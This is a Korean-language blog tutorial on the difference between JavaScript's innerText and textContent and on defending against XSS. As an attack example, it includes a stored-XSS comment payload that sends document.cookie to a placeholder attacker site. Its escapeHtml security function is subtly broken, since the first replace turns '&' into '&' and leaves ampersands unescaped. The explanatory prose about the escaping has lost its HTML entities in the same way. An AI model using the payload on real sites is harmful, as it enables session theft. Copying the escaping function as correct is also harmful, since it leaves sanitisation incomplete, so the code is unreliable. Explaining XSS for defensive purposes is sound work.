JavaScript에서의 innerText와 textContent: XSS 고려하여 안전하게 사용하기

이미지 출처 : innerText vs textContent in 2023 - DEV Community

1. innerText와 textContent 속성 이해하기

"자바스크립트에서 innerText와 textContent는 DOM 요소의 텍스트 내용을 가져오거나 설정하는 데 사용되는 속성입니다. 이들의 동작 방식은 비슷하지만, 몇 가지 중요한 차이점이 있습니다.

이들은 HTML 요소의 내부 텍스트를 가져오는 것에서 시작해 사용자에게 정보를 보여주는데 주로 사용됩니다. 흔히 우리가 웹사이트에서 보는 텍스트 대부분이 innerText 또는 textContent를 통해 가져온 것입니다. 이들은 각 요소의 내부 텍스트를 제공하므로, 단순히 텍스트를 출력하거나 사용자로부터 입력 받은 텍스트를 요소에 추가하는 등의 작업에 사용됩니다.

2. innerText와 textContent의 차이점

• innerText는 "렌더링된" 텍스트를 반환하며, CSS 스타일에 의해 숨겨진 텍스트는 제외합니다.
• textContent는 요소의 모든 텍스트를 반환합니다. 이는 CSS에 의해 숨겨진 텍스트도 포함합니다."

이를 예를 들어 설명하면, 만약 우리가 CSS를 이용해 HTML 문서에서 특정 요소를 숨겼다고 해봅시다. 이 때 textContent를 사용하면, 숨겨진 요소의 텍스트까지 포함하여 모든 텍스트를 가져옵니다. 반면에 innerText는 숨겨진 요소를 렌더링하지 않았다고 판단하여, 숨겨진 요소의 텍스트는 반환하지 않습니다. 이는 특히 웹사이트의 시각적 표현을 그대로 반영한 텍스트를 얻고자 할 때 innerText가 유용하게 사용될 수 있습니다.

아래의 코드 예제는 innerText와 textContent가 CSS에 의해 숨겨진 텍스트를 어떻게 다루는지 보여줍니다.

// HTML 구조
/*
<div id="myDiv">
  <p>Hello World!</p>
  <p style="display:none">Hidden Text</p>
</div>
*/

let myDiv = document.getElementById('myDiv');

console.log(myDiv.innerText);   // "Hello World!"
console.log(myDiv.textContent); // "Hello World! Hidden Text"

위의 코드에서, innerText는 숨겨진 텍스트를 무시하고, textContent는 모든 텍스트를 포함하고 있음을 볼 수 있습니다. 이러한 차이는 웹사이트의 실제 표현과 동기화를 유지하는데 중요한 역할을 합니다.

3. XSS(Cross-Site Scripting) 공격과의 관계

innerText와 textContent를 사용할 때는 XSS(Cross-Site Scripting) 공격을 고려해야 합니다. XSS는 악의적인 스크립트가 웹 사이트에 주입되는 보안 취약점입니다. 사용자의 입력을 적절히 처리하지 않으면, 사용자의 웹 브라우저에서 실행될 수 있는 스크립트를 포함할 수 있습니다.

예를 들어, 사용자로부터 댓글이나 평가 같은 입력을 받는 웹사이트에서는 이런 XSS 공격에 특히 주의해야 합니다. 사용자가 입력란에 <script> 태그를 이용한 악의적인 스크립트를 넣고 제출하면, 이 스크립트는 서버에 저장되어 다른 사용자가 해당 페이지를 열 때마다 실행될 수 있습니다. 이렇게 되면, 공격자는 다른 사용자의 쿠키를 훔치거나 웹사이트의 동작을 변조하는 등의 행동을 할 수 있게 됩니다.

XSS 공격이 어떻게 이루어지는지 좀 더 구체적으로 살펴보겠습니다. 예를 들어, 블로그 플랫폼에서 사용자는 댓글을 작성하여 게시할 수 있습니다. 이때, 공격자가 다음과 같은 댓글을 작성하면 XSS 공격이 발생할 수 있습니다.

<script>document.location='https://attackersite.com/steal.php?cookie='+document.cookie;</script>

이 댓글이 게시되면, 이 페이지를 방문하는 모든 사용자는 위의 스크립트를 실행하게 됩니다. 스크립트는 사용자의 쿠키를 공격자의 사이트로 전송합니다. 공격자는 이 쿠키를 이용해 사용자가 로그인한 세션을 훔칠 수 있습니다. 이런 식으로 XSS 공격은 사용자의 개인 정보를 노출시키고 웹사이트의 보안을 심각하게 위협할 수 있습니다.

하지만 앞서 언급한 innerText와 textContent를 사용하면, 이런 XSS 공격을 방어할 수 있습니다. 왜냐하면 이 두 속성은 HTML 태그를 그대로 텍스트로 처리하기 때문에, <script> 태그도 단순한 텍스트로 처리되므로 스크립트가 실행되지 않습니다.

4. 안전하게 innerText와 textContent 사용하기

안전하게 innerText와 textContent를 사용하는 가장 좋은 방법은 사용자 입력을 항상 적절히 처리하는 것입니다. 예를 들어, 사용자 입력을 텍스트로 처리하면 HTML로 해석될 가능성을 줄일 수 있습니다.

다음은 안전하게 사용하는 예입니다.

let userInput = '<script>alert("XSS Attack!");</script>';
element.textContent = userInput; // "<script>alert("XSS Attack!");</script>"
element.innerText   = userInput; // "<script>alert("XSS Attack!");</script>"

위의 코드에서, 사용자 입력은 단순한 텍스트로 처리되며, 악의적인 스크립트가 실행되지 않습니다.

사용자의 입력을 적절히 처리하는 한 가지 방법은 입력을 이스케이프 하는 것입니다. 이는 특수 문자를 그대로 표시하지 않고, 해당 문자를 나타내는 다른 문자열로 치환하는 것을 의미합니다. 예를 들어, HTML에서는 < 문자를 <로, > 문자를 >로 이스케이프 할 수 있습니다. 이렇게 하면, 이 문자들이 HTML 태그로 해석되지 않고 그대로 표시됩니다.

function escapeHtml(unsafe) {
    return unsafe
         .replace(/&/g, "&")
         .replace(/</g, "&lt;")
         .replace(/>/g, "&gt;")
         .replace(/"/g, "&quot;")
         .replace(/'/g, "&#039;");
}

let userInput = "<script>alert('XSS!');</script>";
console.log(escapeHtml(userInput)); // &lt;script&gt;alert('XSS!');&lt;/script&gt;

위의 예제 코드에서, escapeHtml 함수는 사용자의 입력을 받아서 모든 특수 문자를 이스케이프합니다. 따라서 사용자가 입력한 스크립트는 그대로 텍스트로 표시되고 실행되지 않습니다.

5. 결론

안전한 웹 개발을 위해서는 innerText와 textContent의 사용 방법을 정확히 이해하고, 이를 바탕으로 XSS 공격을 효과적으로 방어할 수 있어야 합니다. 이를 통해 안전하고 효율적인 웹 사이트를 제공하는 데 도움이 될 것입니다.